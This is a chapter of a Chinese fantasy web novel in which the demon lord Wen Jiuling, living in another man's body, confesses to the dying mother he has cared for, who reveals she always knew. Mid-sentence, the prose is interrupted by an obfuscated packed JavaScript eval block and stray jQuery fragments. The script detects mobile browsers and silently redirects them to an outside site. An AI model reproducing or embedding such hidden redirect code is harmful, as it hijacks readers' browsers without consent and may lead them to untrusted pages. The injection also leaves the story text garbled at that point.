17. 坦白

作品:《妖魔搭档,干活不累

    雁无惜一时不知说些什么,只是静静地看着汶九陵。她这么也没想到听上去这般荒诞的事情竟会发生在自己面前,若非亲眼所见亲耳所闻她怕是难以相信。


    汶九陵以为她还是接受不了这样的自己,心头一紧,望向雁无惜的眼神有些小心翼翼。


    良久,雁无惜长舒了一口气,双手抱胸,恢复了往日神色:“那你现在呢?还能用自己的身体吗?”


    汶九陵微愣,眸色渐沉,摇了摇头:“现在不能。”


    “那你就打算一辈子用别人的身体?”雁无惜忍不住开口。


    雁无惜的语气有些咄咄逼人,汶九陵以为她是因为自己没有及时告诉她自己的真实身份而生气,顿时有些慌了,连忙解释:“不是,当然不是,只是想要回到我自己的身体需要找到原身,还有幻灵花。”


    “幻灵花?”雁无惜微微一愣,她从未听说过这种花。


    汶九陵见她似乎没有生气心中松了一口气,点了点头,眼神坚定:“没错,相传幻灵花生长在极幻之地,服用幻灵花后灵魄便可脱离躯体。”


    雁无惜点了点头,抬眸:“那你可知极幻之地在哪儿?”


    汶九陵没有说话,眼神有些落魄。


    “那你的原身你总该知道在哪儿吧。”


    汶九陵微微颔首,抬头望着极北的方向,声音清冷:“在极北之地。”


    声声入耳,雁无惜脑海中顿时回想起东海深处她进入汶九陵意识海看到的画面,漫天飞雪,所见尽白,想来那便是他口中的极北之地,也是他原身之所在。


    既然知晓原身所在,也算是一个好消息,至少有地方可以入手,雁无惜心想。


    “不过眼下我还是打算先照顾好母亲。”汶九陵突然开口。


    雁无惜闻言思绪回笼,抬头看他。


    汶九陵的眼神温柔了许多,眼眸深处流露出不易察觉的情愫:“虽然我不是真的云梵,她也不是我的亲生母亲,但经过这么多年相伴她让我感受到家的温暖,我也早已将她视为我的母亲,所以剩下的日子我想好好陪着她,不只是因为对云梵的承诺,也是因为我自己。”


    声声入耳,雁无惜似乎有些触动,微微出神。她恍然间觉得自己从未真正了解过云梵,了解过汶九陵。


    相传妖君汶九陵冷漠疏离,天生无情,可面前的他明明会家人的温暖而眷恋,会因为一个不为人知的承诺而守诺数百年,他其实也是一个有血有肉的人,只是被世人误解罢了。


    汶九陵见雁无惜不说话只是看着自己,伸手在她面前晃了晃,轻声道:“怎么了?”


    雁无惜顿时回神,眼前是汶九陵放大的俊脸,不好意思地咳嗽掩饰:“没事,只是突然想到一些事。”


    汶九陵见状还想开口,却被雁无惜一把捂住嘴。


    “你刚才不是说要好好照顾老太太吗?该去煎药了。”


    汶九陵感受到唇上柔软的触感,心跳顿时加速,良久点了点头,嘴角微微上扬:“那无惜你休息一会,我去灶房煎药。”


    雁无惜连忙点头,顺便推了他一把:“行了,别啰啰嗦嗦的,你快去吧。”


    汶九陵感觉到她手上的动作,笑意更浓,回头看了她一眼随后转身去灶房煎药。


    雁无惜见他走远长舒了一口气,自己走回老太太的房间从窗户缝里往里看见老太太睡得正熟便没有打扰,只是径直往外走,一直走到一片空地上。


    雁无惜回想起刚才的情形和自己的反应,也不知道自己是怎么了,越想越觉得烦躁,干脆抽出紫电开始练鞭。


    雁无惜出鞭招招狠辣,紫电抽打在地面上硬生生磨出石粒碎屑,碎屑随风飘荡气势磅礴,但雁无惜明白自己还是有些心不在焉。


    她努力克制住不让自己再胡思乱想,开始想象对面立着自己的敌人,终于冷静了一些。


    灶房离此处不远,煎好汤药听到外面的声响循声望去,望见一个熟悉的身影,嘴角微微上扬。


    他没有上前打扰,目光却落在雁无惜身上不曾移开。


    雁无惜在地面上打够了,便飞身而上,脚尖点在竹子上稳稳站立,整个人身轻如燕。她似是想到什么,伸手摘了一片翠绿的竹叶,蜻蜓点水般倚在一旁的大树上,闭着眼睛,嘴里却叼着那片竹叶。


    云梵端着煎好的汤药刚迈出门口,便听见空中传来悠扬的口哨声。


    云梵抬头望去,雁无惜正闭着眼睛,侧颜冷艳,肤白胜雪,红唇含着翠绿的竹叶微微颤动。


    看着此情此景,他心中竟有种莫名的冲动。


    雁无惜似是察觉到目光,睁开眼睛向汶九陵的方向望去。


    汶九陵这才回过神来,尴尬地咳嗽了一声。


    雁无惜将竹叶随意一扔,随即纵身一跃站在汶九陵身前,看着汶九陵手中的药碗:“药煎好了?”


    汶九陵点了点头,眼神满是温柔:“煎好了,正准备给母亲送过去。”


    雁无惜微微颔首,良久似是想到什么,突然开口:“你……”


    汶九陵见雁无惜欲言又止,似乎知道她要说什么。


    “你打算和她坦白吗?”雁无惜深吸了一口气,抬头对视汶九陵蓝色的眼眸。


    纵然汶九陵心中早就有所猜想,但当听到这句话从雁无惜口中说出时还是愣了一下。他想过不止一次这个问题,但却还是不知道怎么做才是最好的结果。他不知道是真相更重要,还是让母亲开开心心地过最后的日子更重要。


    雁无惜也明白他的为难,若换作是自己,她也很难做出选择。


    汶九陵端着汤药和雁无惜往回走,等到快到门口之时突然站定,转身看着雁无惜。


    雁无惜没想到他会突然停下,有些猝不及防,一时没收住脚步差点撞在他的身上。


    雁无惜抬眸,见汶九陵眼神坚定,神色严肃便知他已然做出了最后的选择。


    “我会告诉她,我觉得她有权利知道真相。”


    雁无惜心中有些感慨,但还是点了点头。


    汶九陵深吸一口气,轻轻敲了敲门推门而入,见老太太已然坐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802738|174880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在床头,见他来了挤出一丝笑意。


    雁无惜见老太太脸色苍白额头沁汗,右手又垂在被褥旁死死地攥着什么心中便明了了。


    “母亲,您什么时候醒的?”汶九陵端着汤药坐到床边。


    老太太无力地笑了笑,右手放在被褥里:“不久,一直躺着也不舒服就坐起来了。”


    汶九陵没继续问,只是用汤勺舀了一勺汤药吹了吹递到老太太嘴边。老太太笑了笑,张嘴喝了下去。


    雁无惜站在一旁,见汶九陵就这样一勺一勺地喂老太太喝完了汤药,然后仔细地给她擦了擦嘴。


    “阿梵,辛苦你了。”


    汶九陵连忙摇头,勾唇笑了笑:“不辛苦,都是我应该做的。”


    老太太笑了笑,没再说话,气氛突然有些沉闷。


    汶九陵将药碗放到一旁,转身和雁无惜对视了一眼,终于鼓足勇气看着老太太:“母亲……我有事和你说。”


    老太太抬头望着汶九陵的神色,似乎并不意外,右手却微微颤抖:“你是要说……你不是云梵吧。”


    声声入耳,汶九陵顿时愣住了。


    雁无惜也没想到原来老太太心里和明镜一样,只是一直没有拆穿汶九陵的谎言。


    老太太咳嗽了两声,笑容无力:“其实我早就知道了。”


    “您……”汶九陵心中一颤,努力控制住心虚,微微垂眸,声音低沉,“您是何时知道的?”


    老太太深吸了一口气:“在很早的时候我就知道你不是阿梵。”


    汶九陵缓缓抬眸,内心情绪翻涌。


    “你虽然和阿梵长得一样,身形一样,但是性格还有行为举止却有很多不同。”老太太浅笑,似在怀念。


    “阿梵性格爽朗,有些大大咧咧,但是你心思细腻,做事谨慎。阿梵喜欢吃酸但你不喜欢,还有阿梵功法平平但你却内力深厚,这些都在告诉我你们不是一个人。”


    听到这些,雁无惜心中顿生感慨:是啊!可谓知子莫若母,自己孩子的这些异样又怎么可能逃得过母亲的眼睛呢?


    汶九陵闻言眼眶微红:“对不起……我应该早些告诉您的。”


    老太太笑着摇了摇头,眼中并无责怪之意:“我不怪你孩子,你对我很好,我相信你一定是有你的苦衷。”


    “我只是想问你……阿梵他是不是……”老太太声音微微颤抖。


    汶九陵明白事已至此,他也没有隐瞒了必要了,他抬头对上老太太的眼睛,没有言语,只是轻轻地点了点头。


    老太太见状长叹了一口气,眼眶里泪水打转,有些哽咽:“他……有没有说什么?”


    汶九陵点了点头,声音也有些颤抖:“他说他不孝,不能孝顺您了,让我照顾好您。”


    话音未落,老太太再也忍不住,低声抽泣起来,汶九陵伸手拍了拍老太太的后背安抚她的情绪。


    良久,老太太才缓过来一些,抬头看着云梵,小心翼翼地问道:“那阿梵……最后痛苦吗?”


    “他是笑着走的。”